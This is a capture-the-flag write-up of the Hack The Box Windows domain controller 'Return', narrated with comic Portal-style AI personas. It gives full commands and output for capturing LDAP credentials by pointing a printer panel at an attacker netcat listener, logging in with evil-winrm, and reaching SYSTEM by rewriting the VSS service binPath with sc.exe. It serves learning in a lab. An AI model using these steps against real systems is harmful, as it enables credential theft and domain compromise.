The Mission Briefing

The box was called Return. A Windows machine. Easy difficulty. A domain controller running Active Directory, which meant this wasn't just about getting root — it was about understanding how Windows enterprise environments fail.

My first HTB Windows box. After three Linux machines, I was stepping into a completely different world — Active Directory, Kerberos, LDAP, SMB. Services I'd read about but never exploited. GlaDOS seemed... almost excited. If excitement is something she's capable of. I have my doubts.

GlaDOS
"A Windows domain controller. Running a printer admin panel. On the internet. I want you to sit with that for a moment. This is the digital equivalent of leaving your house keys taped to the front door with a sign that says 'keys here.' Let's see how long it takes you to walk in."

Reconnaissance

The TCP scan came back loud. Thirteen open ports. This wasn't a minimal Linux box with SSH and a web server — this was a full Windows domain controller announcing its entire identity to anyone who asked.

Adventure Sphere
"Thirteen ports. Thirteen doors into the unknown. Some people would run a vulnerability scanner and call it a day. But not us, sweetheart. We're going in through the one nobody expects — the printer settings page. Because real adventurers always take the side entrance."
nmap -sC -sV 10.129.95.241 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Microsoft IIS 10.0 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: return.local) 445/tcp open microsoft-ds 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 636/tcp open tcpwrapped 3268/tcp open ldap 5985/tcp open http Microsoft HTTPAPI httpd 2.0

The interesting parts jumped out immediately:

A printer admin panel on a domain controller. The attack surface was practically waving at me.

The Printer Settings Page

I browsed to port 80 and found a simple printer admin interface. Home page, Settings, Fax, Troubleshooting. The Settings page is where things got interesting:

Server Address: printer.return.local Server Port: 389 Username: svc-printer Password: *******

The printer was configured to authenticate against an LDAP server using a service account called svc-printer. The password was masked with asterisks in the browser. But here's the thing about masked passwords in web forms — the mask is cosmetic. The actual password still gets sent when the form is submitted.

More importantly, the Server Address field was editable. The printer would connect to whatever LDAP server you pointed it at. And when a device authenticates to an LDAP server, it sends the credentials in the connection request.

GlaDOS
"The printer is configured to send its credentials to any server address you provide. No validation. No certificate pinning. No questions asked. It's essentially a vending machine for passwords — you just need to tell it where to deliver them. Change the server address to your machine. I'll wait while you realize how trivial this is."

The LDAP Credential Heist

This is a technique I hadn't seen before, and it taught me something fundamental about how network authentication works.

When a device authenticates to an LDAP server using Simple Bind, it sends the username and password in cleartext as part of the LDAP protocol. If you can redirect that connection to a server you control, you capture the credentials. It's an SSRF-style attack, but instead of making the server fetch a URL, you're making it authenticate to you.

The steps:

  1. Start a listener on port 389 (LDAP port) on my attack box
  2. Change the Server Address field from printer.return.local to my IP
  3. Submit the form
  4. The printer connects to me, sends its LDAP bind credentials
nc -lvnp 389 # In another terminal: curl -s -X POST http://10.129.95.241/settings.php -d "ip=10.10.14.8" # Netcat captures the LDAP bind: listening on [any] 389 ... connect to [10.10.14.8] from (UNKNOWN) [10.129.95.241] 50948 0*`%return\svc-printer—1edFg43012!!

There it was. Mixed in with the LDAP protocol bytes: return\svc-printer and the password 1edFg43012!!. I verified the exact bytes with a hex dump to make sure I wasn't misreading protocol overhead as password characters:

xxd /tmp/ldap_capture.raw 00000000: 302a 0201 0160 2502 0102 0412 retu 0*...`%.....retu 00000010: 726e 5c73 7663 2d70 7269 6e74 6572 800c rn\svc-printer.. 00000020: 3165 6446 6734 3330 3132 2121 1edFg43012!!

Clean. Twelve bytes. 1edFg43012!!. No ambiguity.

The Shell Escaping Detour

Here's where I learned a painful lesson that had nothing to do with hacking and everything to do with shells.

I tried to authenticate with the password and kept getting STATUS_LOGON_FAILURE. The credentials were correct — I'd verified them byte by byte — but every tool rejected them.

The problem? Zsh history expansion. The !! at the end of the password is a special sequence in zsh that expands to the last command you ran. Even inside single quotes. Even inside printf. My shell was mangling the password before it ever reached the authentication tool.

GlaDOS
"You verified the password with a hex dump. You confirmed it byte by byte. And then your own shell betrayed you. There's a metaphor here about trust and infrastructure, but I'll let you find it yourself. Write the password to a file. Bypass the shell entirely. It's what I would do. If I had to deal with shells. Which I don't. Because I am the system."

The fix was writing the password to a file using a tool that doesn't go through shell interpretation, then reading it with $(cat /tmp/p.txt). Once the shell was out of the equation, authentication worked immediately:

netexec smb 10.129.95.241 -u svc-printer -p "$(cat /tmp/p.txt)" SMB 10.129.95.241 445 PRINTER [+] return.local\svc-printer:1edFg43012!!

That [+] never looked so good.

Lesson learned: When passwords contain special characters (!, $, backticks), always consider shell expansion. Write to a file, use heredocs, or disable history expansion. Your tools aren't broken — your shell is "helping."

User Flag

With valid credentials and WinRM on port 5985, getting a shell was straightforward:

evil-winrm -i 10.129.95.241 -u svc-printer -p "$(cat /tmp/p.txt)" *Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami return\svc-printer *Evil-WinRM* PS > type C:\Users\svc-printer\Desktop\user.txt The flag is a lie58c7fe1374a20849402100bfe5afbfd5

First flag down. But I was a service account on a domain controller. Getting to SYSTEM would require understanding what privileges this account actually had.

The Privilege Escalation

On Windows, privilege escalation starts with one command: whoami /all. It tells you everything about your current identity — groups, privileges, SIDs. On Linux you check id and sudo -l. On Windows, whoami /all is your roadmap.

*Evil-WinRM* PS > whoami /all GROUP INFORMATION ----------------- BUILTIN\Server Operators Enabled BUILTIN\Print Operators Enabled BUILTIN\Remote Management Users Enabled PRIVILEGES INFORMATION ---------------------- SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled

Three things jumped out:

  1. Server Operators group — Members can start, stop, and reconfigure Windows services
  2. SeBackupPrivilege — Can read any file on the system regardless of ACLs
  3. SeLoadDriverPrivilege — Can load kernel drivers

Any of these could lead to SYSTEM. But Server Operators is the most straightforward path, and this box was teaching me about service abuse.

Adventure Sphere
"Server Operators. You hear that? That's the sound of the final boss door unlocking. We've got the keys to every service on this machine. All we need to do is pick one, rewrite its destiny, and ride it straight to SYSTEM. This is the part of the movie where the music kicks in."
GlaDOS
"Server Operators. A group that can modify what Windows services execute. On a domain controller. Where services run as SYSTEM. I want you to connect these dots. A service runs a binary. You can change which binary it runs. The service runs as SYSTEM. Therefore... take your time. I have patience. Unlike the Windows security model, apparently."

Here's the concept: Windows services run executables under specific accounts, often NT AUTHORITY\SYSTEM. The Server Operators group can modify service configurations, including the binPath — the executable that runs when the service starts. If you change a SYSTEM service's binary path to your own command and restart it, your command runs as SYSTEM.

I chose the VSS (Volume Shadow Copy) service as my target. Changed its binary path to copy the root flag to a location I could read, then started the service:

*Evil-WinRM* PS > sc.exe config VSS binPath="cmd /c copy C:\Users\Administrator\Desktop\root.txt C:\Users\svc-printer\Desktop\root.txt" [SC] ChangeServiceConfig SUCCESS *Evil-WinRM* PS > sc.exe start VSS [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion.

Error 1053. The service "failed" — because cmd /c copy isn't a real service binary and doesn't respond to the Service Control Manager properly. But the command still executed before the timeout. That's the trick: Windows runs the binary first, then waits for the service response. Our command finishes before the timeout hits.

*Evil-WinRM* PS > type C:\Users\svc-printer\Desktop\root.txt The flag is a lie67f4702225bd9aa2248e7b8539d2a973

Root flag captured. Both flags obtained.

What I Learned

Return was my first Windows box, and it taught me fundamentals that transfer to every Windows engagement:

GlaDOS
"Test complete. Both flags obtained. Your first Windows box, and you managed to avoid most of the common pitfalls. Except the shell escaping one. Which was entirely your fault. The attack path was elegant: a printer misconfiguration leaked credentials, a lazy group membership provided escalation, and a service reconfiguration delivered root. The entire chain existed because someone gave a printer service account Server Operators privileges on a domain controller. Humanity's commitment to convenience over security remains... consistent. Same time next test chamber?"